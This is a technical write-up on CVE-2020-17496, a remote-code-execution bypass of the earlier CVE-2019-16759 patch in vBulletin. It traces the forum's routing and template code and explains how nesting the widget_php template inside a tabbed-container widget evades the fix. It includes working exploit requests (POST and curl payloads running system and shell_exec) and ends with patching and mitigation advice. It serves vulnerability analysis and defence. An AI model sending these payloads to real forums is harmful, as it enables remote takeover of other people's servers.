vBulletin is an advanced forum engine enabling numerous users to communicate with each other. Due to the rapid development of instant messengers, forums somewhat lost their relevance nowadays, but two-thirds of the existing forums are based on the vBulletin engine.
The essence of the original bug is as follows: the tabbedcontainer_tab_panel
widget makes it possible to load child widgets and pass arbitrary parameters to them. Using a specially crafted request, the attacker can call widget_php
and remotely execute arbitrary PHP code.
The vulnerability was recognized critical and quickly patched by the developers.
info
The new bug was discovered by Amir Etemadieh also known as @Zenofex. Its reference number is CVE-2020-17496. The vulnerability affects vBulletin versions from 5.5.4 to 5.6.2. The exploitation became possible because the last year’s patch doesn’t fix CVE-2019-16759 completely.
This article explains how vBulletin deals with request routing and how widgets and their templates work, provides an in-depth analysis of the vulnerability, and, of course, shows how to exploit it.
Test system
As usual, I create the test environment using Docker. First of all, I create a container for the database using MySQL.
docker run -d -e MYSQL_USER="vb" -e MYSQL_PASSWORD="JS7G5yUmaV" -e MYSQL_DATABASE="vb" --rm --name=mysql --hostname=mysql mysql/mysql-server:5.7
Then I run the container that will accommodate the web server and the forum. Important: don’t forget to link it with the DB container.
docker run --rm -ti --link=mysql --name=vbweb --hostname=vbweb -p80:80 debian /bin/bash
I am going to use the Apache server; so, I install it and PHP with all the required modules.
apt update && apt install -y apache2 php nano unzip netcat php-mysqli php-xml php-gd
I enable the mod-rewrite
module and launch Apache.
a2enmod rewrite
service apache2 start
Time to install vBulletin. Since it’s a commercial product, I won’t describe in detail how to get it. All tests will be performed with the latest vulnerable version: 5.5.6. I unpack it to the /
directory and install.
I am going to use the Xdebug + PhpStorm combination for debugging. This allows to examine the vulnerability in detail and analyze the source code.
I install and enable Xdebug. It’s preferable to do this after the vBulletin installation: I had problems installing the forum and had to disable Xdebug during this process.
apt update && apt install -y php-xdebug
phpenmod xdebug
I enable remote debugging and specify the IP address of the server. Important: in your case, this address, as well as paths to the files may be different.
echo "xdebug.remote_enable=1" >> /etc/php/7.3/apache2/conf.d/20-xdebug.ini
echo "xdebug.remote_host=192.168.99.1" >> /etc/php/7.3/apache2/conf.d/20-xdebug.ini
Restarting the web server.
service apache2 restart
Then I enable listening for connections from the debugger. To trigger the debugger, I add the XDEBUG_SESSION_START=phpstorm
parameter to the request.
The test system is ready, and I can start examining the vulnerability.
URI handling
Let’s see, how vBulletin processes user’s requests (to be specific, routes).
.htaccess
01: <IfModule mod_rewrite.c>02: RewriteEngine On...39: RewriteCond %{REQUEST_FILENAME} !-f40: RewriteCond %{REQUEST_FILENAME} !-d41: RewriteRule ^(.*)$ index.php?routestring=$1 [L,QSA]
The program checks whether the file exists, and if not, the specified URI is sent as the routestring
parameter.
Similar to other modern frameworks, the forum supports the class autoloading with spl_autoload_register
.
index.php
33: require_once('includes/vb5/autoloader.php');34: vB5_Autoloader::register(dirname(__FILE__));
includes/vb5/autoloader.php
13: abstract class vB5_Autoloader14: {15: protected static $_paths = array();16: protected static $_autoloadInfo = array();17:18: public static function register($path)19: {20: self::$_paths[] = (string) $path . '/includes/'; // includes21:22: spl_autoload_register(array(__CLASS__, '_autoload'));23: }
Then the transmitted route is validated. For that purpose, the isQuickRoute
method is called.
index.php
37: if (vB5_Frontend_ApplicationLight::isQuickRoute())
includes/vb5/frontend/applicationlight.php
079: public static function isQuickRoute()080: {...091: foreach (self::$quickRoutePrefixMatch AS $prefix => $route)092: {093: if (substr($_REQUEST['routestring'], 0, strlen($prefix)) == $prefix)094: {095: return true;096: }097: }098:099: return false;100: }
The $quickRoutePrefixMatch
variable stores prefixes of routes that must be processed using quickRoute
.
ajax/apidetachajax/apiajax/render
Back to the basics. Widgets, CVE-2019-16759, and its patch
Let’s get back to the exploit created for the last year’s CVE-2019-16759 vulnerability.
POST /index.php HTTP/1.1Host: vb.vhContent-Type: application/x-www-form-urlencodedContent-Length: 71Connection: closeroutestring=ajax/render/widget_php&widgetConfig[code]=system('ls');
In this particular case, ajax/
is transmitted as routestring
. The prefix meets the quickRoute
condition. And then, $app->
is called.
index.php
37: if (vB5_Frontend_ApplicationLight::isQuickRoute())38: {...41: if ($app->execute())
This is the main method that passes the control to the required code sections in order to process the user’s request. In this example, the callRender
handler is called, and it starts generating a response to the user.
includes/vb5/frontend/applicationlight.php
161: public function execute()...181: $serverData = array_merge($_GET, $_POST);182:183: if (!empty($this->application['handler']) AND method_exists($this, $this->application['handler']))184: {185: $app = $this->application['handler'];186: call_user_func(array($this, $app), $serverData);
includes/vb5/frontend/applicationlight.php
282: protected function callRender($serverData)283: {284: $routeInfo = explode('/', $serverData['routestring']);
The next section of the code is the first patch that fixes the last year’s RCE bug.
includes/vb5/frontend/applicationlight.php
291: $templateName = $routeInfo[2];292: if ($templateName == 'widget_php')293: {294: $result = array(295: 'template' => '',296: 'css_links' => array(),297: );298: }
If the name of the requested template is widget_php
, then an empty array is returned.
Time to discuss widgets and their templates in more detail. vBulletin uses a system of widgets (modules) that can display various information on the website. Accordingly, a page on this site can consist of a number of such widget blocks featuring their own styles and data. The majority of modern content management systems (CMS) use this convenient and flexible customization tool.
All widget templates are described in the file vbulletin-style.
. During the forum engine installation, they are recorded in the database.
core/install/vbulletin-style.xml
<templategroup name="Module"> <template name="widget_aboutauthor" templatetype="template" date="1452807873" username="vBulletin" version="5.2.1 Alpha 2"><![CDATA[<vb:if condition="empty($widgetConfig) AND !empty($widgetinstanceid)"> ...
<template name="widget_activate_email" templatetype="template" date="1458863949" username="vBulletin" version="5.2.2 Alpha 3"><![CDATA[<vb:if condition="empty($widgetConfig) AND !empty($widgetinstanceid)">
The templates are written not in the canonical PHP scripting language; instead, they use their own syntax that has to be processed by the template engine first. The template engine returns the result as a PHP string that subsequently undergoes ‘rendering’. During this process, the data are passed to the eval
function.
The list of available widgets includes widget_php
. This module allows to display the output of arbitrary PHP code executed by the system.
core/install/vbulletin-style.xml
<template name="widget_php" templatetype="template" date="1569453621" username="vBulletin" version="5.5.5 Alpha 4"><![CDATA[<vb:if condition="empty($widgetConfig) AND !empty($widgetinstanceid)"> {vb:data widgetConfig, widget, fetchConfig,
{vb:raw widgetinstanceid}}
</vb:if> <vb:if condition="!empty($widgetConfig)"> {vb:set widgetid, {vb:raw widgetConfig.widgetid}}
{vb:set widgetinstanceid,
{vb:raw widgetConfig.widgetinstanceid}}
</vb:if> ...
{vb:template module_title,
widgetConfig={vb:raw widgetConfig},
show_title_divider=1,
can_use_sitebuilder={vb:raw user.can_use_sitebuilder}}
<div class="widget-content"> <vb:if condition="!empty($widgetConfig['code']) AND !$vboptions['disable_php_rendering']"> ...
{vb:phpeval {vb:raw widgetConfig.code}}
...
</vb:if> </div> </div>]]></template>
The above piece of code contains another consequence of the first patch fixing the last year’s vulnerability. Note the version
attribute: this is the version of the latest template update (5.5.5 Alpha 4). Prior to the patching, the code section containing the PHP code execution was looking differently.
vBulletin 5.5.3/core/install/vbulletin-style.xml
<div class="widget-content"> <vb:if condition="!empty($widgetConfig['code']) AND !$vboptions['disable_php_rendering']"> {vb:action evaledPHP, bbcode, evalCode,
{vb:raw widgetConfig.code}}
{vb:raw $evaledPHP}
<vb:else />
This will be discussed in more detail a bit later; what’s important at this point is that the class working with templates is called vB_Template
.
Now let’s get back to the CVE-2019-16759 exploit. Imagine that an unpatched version of the forum is used, and the script execution continues.
includes/vb5/frontend/applicationlight.php
301: $this->router = new vB5_Frontend_Routing();302: $this->router->setRouteInfo(array(303: 'action' => 'actionRender',304: 'arguments' => $serverData,305: 'template' => $templateName,...310: 'queryParameters' => $_GET,311: ));312: Api_InterfaceAbstract::setLight();313: $result = vB5_Template::staticRenderAjax($templateName, $serverData);
Now the control is passed to the class vB5_Template
. The staticRenderAjax
method is called, and I get from it into the more general staticRender
method.
includes/vb5/template.php
16: class vB5_Template17: {...731: public static function staticRenderAjax($templateName, $data = array())732: {733: $rendered = self::staticRender($templateName, $data, true, true);...737: return array(738: 'template' => $rendered,739: 'css_links' => $css,740: );
At the next step, the program compares the variables in the widget template with those sent by the user in the request. As you remember, I have sent the widgetConfig[
parameter.
includes/vb5/template.php
703: public static function staticRender($templateName, $data = array(), $isParentTemplate = true, $isAjaxTemplateRender = false)704: {...710: $templater = new vB5_Template($templateName);711:712: foreach ($data AS $varname => $value)713: {714: $templater->register($varname, $value);715: }
core/install/vbulletin-style.xml
{vb:phpeval {vb:raw widgetConfig.code}}
The required classes are loaded, and I get into the template rendering method.
includes/vb5/template.php
717: $core_path = vB5_Config::instance()->core_path;718: vB5_Autoloader::register($core_path);719:720: $result = $templater->render($isParentTemplate, $isAjaxTemplateRender);
Here I see another code section that patches the last year’s vulnerability: the cleanRegistered
method.
includes/vb5/template.php
341: public function render($isParentTemplate = true, $isAjaxTemplateRender = false)342: {...350: if($isParentTemplate)351: {352: $this->cleanRegistered();353: }
includes/vb5/template.php
128: private function cleanRegistered()129: {130: $disallowedNames = array('widgetConfig');131: foreach($disallowedNames AS $name)132: {133: unset($this->registered[$name]);134: unset(self::$globalRegistered[$name]);135: }136: }
As you can see, widgetConfig
is removed from the registered template variables, thus, making it impossible to change the widget configuration directly from the request. I use this very variable to transmit the payload to PHP.
But what if I don’t have this method? If so, the vBulletin cache is initialized, and the control passes to getTemplate
.
includes/vb5/template.php
391: $templateCache = vB5_Template_Cache::instance();392: $templateCode = $templateCache->getTemplate($this->template);
includes/vb5/template/cache.php
177: public function getTemplate($templateId)178: {179:180: if (is_array($templateId))181: {182: return $this->fetchTemplate($templateId);183: }184:185: if (!isset($this->cache[$templateId]))186: {187: $this->fetchTemplate($templateId);188: }189:190: if (isset($this->cache[$templateId]))191: {192: return $this->cache[$templateId];193: }
First, this method tries to find the already generated template code in the cache; is no such code can be found, then fetchTemplate
comes into play.
includes/vb5/template/cache.php
207: protected function fetchTemplate($templateName)208: {...216: $method = 'fetch';217: $arguments = array('name' => $templateName);218: }..224: $response = Api_InterfaceAbstract::instance()->callApi('template', $method, $arguments);
All the magic is contained in the following call:
Api_InterfaceAbstract::instance()->callApi('template', $method, $arguments)
The ready-to-use PHP code is produced on the basis of the template pseudocode.
includes/api/interface/collapsed.php
084: public function callApi($controller, $method, array $arguments = array(), $useNamedParams = false, $byTemplate = false)085: {...101: $result = call_user_func_array(array(&$c, $method), $arguments);
core/vb/api/template.php
19: class vB_Api_Template extends vB_Api20: {...49: public function fetch($template_name, $styleid = -1)50: {51: return $this->library->fetch($template_name, $styleid);52: }
core/vb/library/template.php
19: class vB_Library_Template extends vB_Library20: {...31: public function fetch($template_name, $styleid = -1, $nopermissioncheck = false)32: {...50: $templates = $this->fetchBulk(array($template_name), $styleid, 'compiled', $nopermissioncheck);
In the fetchBulk
method, the widget template is loaded from the database
core/vb/library/template.php
68: public function fetchBulk($template_names, $styleid = -1, $type = 'compiled', $nopermissioncheck = false)69: {...121: if (!empty($templateids))122: {123: $result = vB::getDbAssertor()->select('template', array('templateid' => $templateids), false,124: array('title', 'textonly', 'template_un', 'template'));125:126: foreach ($result AS $template)127: {128: if ($type == 'compiled')129: {130: $response[$template['title']] = $this->getTemplateReturn($template);131: self::$templatecache[$template['title']] = $response[$template['title']];132: }
The result is saved in the cache.
includes/vb5/template/cache.php
227: if (is_array($response) AND isset($response['textonly']))228: {...252: else...253: {257: $response = str_replace('vB_Template_Runtime', 'vB5_Template_Runtime', $response);258: $this->cache[$templateName] = $response;
In the case of widget_php
, the code rendered by the template engine looks as follows:
widget_php_rendered
01: $final_rendered = '' . ''; if (empty($widgetConfig) AND !empty($widgetinstanceid)) {02: $final_rendered .= '03: ' . ''; $widgetConfig = vB5_Template_Runtime::parseData('widget', 'fetchConfig', $widgetinstanceid); $final_rendered .= '' . '04: ';05: } else {06: $final_rendered .= '';07: }$final_rendered .= '' . '...20: ' . vB5_Template_Runtime::includeTemplate('module_title',array('widgetConfig' => $widgetConfig, 'show_title_divider' => '1', 'can_use_sitebuilder' => $user['can_use_sitebuilder'])) . '...22: <div class="widget-content">23: ' . ''; if (!empty($widgetConfig['code']) AND !vB::getDatastore()->getOption('disable_php_rendering')) {24: $final_rendered .= '25: ' . '' . '26: ' . vB5_Template_Runtime::evalPhp('' . $widgetConfig['code'] . '') . '27: ';
String 26 contains the following construct: vB5_Template_Runtime::
. But this piece of code was different prior to the patching. As said above, the entire widget template had looked differently.
vBulletin 5.5.3/core/install/vbulletin-style.xml
{vb:action evaledPHP, bbcode, evalCode, {vb:raw widgetConfig.code}}
<vb:else />
The vB5_Frontend_Controller_Bbcode
had processed this construct and ultimately called the standard eval
function.
vBulletin 5.5.3/includes/vb5/frontend/controller/bbcode.php
013: class vB5_Frontend_Controller_Bbcode extends vB5_Frontend_Controller014: {...224: function evalCode($code)225: {226: ob_start();227: eval($code);228: $output = ob_get_contents();229: ob_end_clean();230: return $output;231: }
In the new version of the forum engine, the developers have revised the program logic of the widget by adding a new method: vB5_Template_Runtime::
. This method also executes the code transmitted in the widgetConfig[
parameter, but the difference is that it checks the name of the template that attempts to call the method. If this name is different from widget_php
, an empty string is returned.
includes/vb5/template/runtime.php
1992: public static function evalPhp($code)1993: {...1996: if (self::currentTemplate() != 'widget_php')1997: {1998: return '';1999: }2000: ob_start();2001: eval($code);2002: $output = ob_get_contents();2003: ob_end_clean();2004: return $output;2005: }
This solution was supposed to enhance security and prevent all other templates from transmitting potentially unsafe data to the eval
function.
Now let’s get back to the script execution. If the widget code is successfully received, it is passed for execution.
includes/vb5/template.php
392: $templateCode = $templateCache->getTemplate($this->template);...400: eval($templateCode);...444: vB5_Template_Runtime::endTemplate();...452: return $final_rendered;
So, the payload is executed, and the output of the system(
function can be seen in the server’s response.
As you can see, it’s still possible to execute arbitrary code using widget_php
; the only difference is that it cannot be done directly. Of course, ethical hackers started looking for a way to bypass this restriction and ultimately discovered a new vulnerability.
CVE-2020-17496 details
The point is that widgets can be both independent and nested elements. Several child widgets can be nested in another widget (i.e. it is possible to process and display the outputs of other widgets). This program logic is in line with the idea to bypass the restrictions added by the patch that fixes the CVE-2019-16759 vulnerability. All you have to do is find a widget whose template allows to call child ones. And Amir Etemadieh found such a widget: widget_tabbedcontainer_tab_panel
.
core/install/vbulletin-style.xml
<template name="widget_tabbedcontainer_tab_panel" templatetype="template" date="1532130449" username="vBulletin" version="5.4.4 Alpha 2"><![CDATA[{vb:set panel_id, {vb:concat {vb:var id_prefix}, {vb:var tab_num}}}
The widget processes the subWidgets
array, searches for the template
key in it, and loads the template of the widget specified in it.
core/install/vbulletin-style.xml
<vb:each from="subWidgets" value="subWidget"> -- {vb:raw subWidget.template}
</vb:each>
The config
key allows to transmit parameters to a child template (note the widgetConfig
attribute).
core/install/vbulletin-style.xml
<vb:each from="subWidgets" value="subWidget"> {vb:template {vb:raw subWidget.template},
widgetConfig={vb:raw subWidget.config},
widgetinstanceid={vb:raw subWidget.widgetinstanceid},
widgettitle={vb:raw subWidget.title},
tabbedContainerSubModules={vb:raw
subWidget.tabbedContainerSubModules},
product={vb:raw subWidget.product}
}
</vb:each>
Let’s test this idea on some simple widget.
core/install/vbulletin-style.xml
<template name="widget_search2_viewall_link__searchresults" templatetype="template" date="1504914629" username="vBulletin" version="5.3.4 Alpha 2"><![CDATA[<a href="{vb:url 'search'}?r={vb:raw nodes.resultId}" class="b-button"> <vb:if condition="!empty($widgetConfig['view_all_text'])"> {vb:var widgetConfig.view_all_text}
<vb:else /> {vb:phrase view_all}
</vb:if></a>]]></template>
In this case, view_all_text
can be sent as a parameter. This text will be displayed in the template as link text. So, I send the request.
curl "http://vb.vh/ajax/render/widget_tabbedcontainer_tab_panel?XDEBUG_SESSION_START=phpstorm" -s -X POST -d 'subWidgets[0][template]=widget_search2_viewall_link__calendar&subWidgets[0][config][view_all_text]=HELLOTHERE!'
During the rendering of widget_tabbedcontainer_tab_panel
, a placeholder is inserted into the place where the child widget will be located. Accordingly, the template looks as follows.
<div id="" class="h-clearfix js-show-on-tabs-create h-hide"> <!-- ##template_widget_search2_viewall_link__calendar_0## --></div>
Then the replacePlaceholders
method is called; as its name implies, the method goes through the template searching for placeholders, calls the required modules, and inserts the result into the right places.
includes/vb5/template.php
421: // always replace placeholder for templates, as they are process by levels422: $templateCache->replacePlaceholders($final_rendered);
The same set of calls is used here. The fetchTemplate
method receives the widget template.
includes/vb5/template/cache.php
103: public function replacePlaceholders(&$content)104: {105: // This function procceses subtemplates by level106:107: $missing = array_diff(array_keys($this->pending), array_keys($this->cache));108: if (!empty($missing))109: {110: $this->fetchTemplate($missing);111: }
Then the variables are passed to it. This is how the parameters from my POST request are added to the template.
includes/vb5/template/cache.php
125: foreach ($levelPending as $templateName => $templates)126: {127: foreach ($templates as $placeholder => $templateArgs)128: {129: $templater = new vB5_Template($templateName);130: $this->registerTemplateVariables($templater, $templateArgs);
Then the child module is rendered.
includes/vb5/template/cache.php
132: try133: {134: $replace = $templater->render(false);
This is how I bypass the patch section that checks the module name.
includes/vb5/frontend/applicationlight.php
292: if ($templateName == 'widget_php')293: {294: $result = array(295: 'template' => '',296: 'css_links' => array(),297: );
Furthermore, this time I don’t get into the branch with the cleanRegistered
method. This is because the render
call was initiated not by the parent method, and the isParentTemplate
variable was set to false
.
includes/vb5/template.php
341: public function render($isParentTemplate = true, $isAjaxTemplateRender = false)342: {...350: if($isParentTemplate)351: {352: $this->cleanRegistered();
This means that widgetConfig
won’t be cleared at runtime. Another section of the patch fixing the last year’s vulnerability has been bypassed.
The child widget is executed, and its output is added to the parent widget.
includes/vb5/template/cache.php
171: $content = str_replace($placeholder, $replace, $content);
The final result looks something like this:
<div id="" class="h-clearfix js-show-on-tabs-create h-hide"> <!-- BEGIN: widget_search2_viewall_link__calendar --><a href="!!VB:URL1284a43c8c1d5b8763560fbb7e88642e!!?searchJSON=" class="b-button"> HELLOTHERE
</a><!-- END: widget_search2_viewall_link__calendar --></div>
But frankly speaking, this is all kids’ stuff. Time has come for some serious things. I take last year’s exploit and replace its direct call with the child call of another widget.
subWidgets[0][template]=widget_phpsubWidgets[0][config][code]=echo shell_exec("uname -a"); exit;
Then I send the result to widget_tabbedcontainer_tab_panel
.
curl "http://vb.vh/ajax/render/widget_tabbedcontainer_tab_panel" -s -X POST -d 'subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo shell_exec("uname -a"); exit;'
In response, I get the output of the command executed on the server.
Vulnerability demonstration (video)
Conclusions
In this article, I tried to address various aspects of the vBulletin forum engine, including the implementation of widgets and their weaknesses. In fact, the current implementation raises many security-related questions. The parsing of PHP pseudocode and its execution involving the eval
function creates many potential bottlenecks. For instance, any unfiltered or incorrectly filtered variable in the template may lead to another RCE. You have to closely monitor the correctness of the template code generation, while the XSS filtering becomes a real headache.
The bug has already been fixed by the developers; so, if you administer a forum based on this engine, update the software or install the patches ASAP.
As a temporary solution, you may disable PHP rendering in widgets. As you have likely noticed, the template includes a check for the disable_php_rendering
option.
<vb:if condition="!empty($widgetConfig['code']) AND !$vboptions['disable_php_rendering']">
To do so, go to the Admin Panel, select General Settings, and enable the option Disable PHP, Static HTML, and Ad Module rendering.
Of course, this may break something on your forum, but at least, it won’t be broken by attackers. Good luck!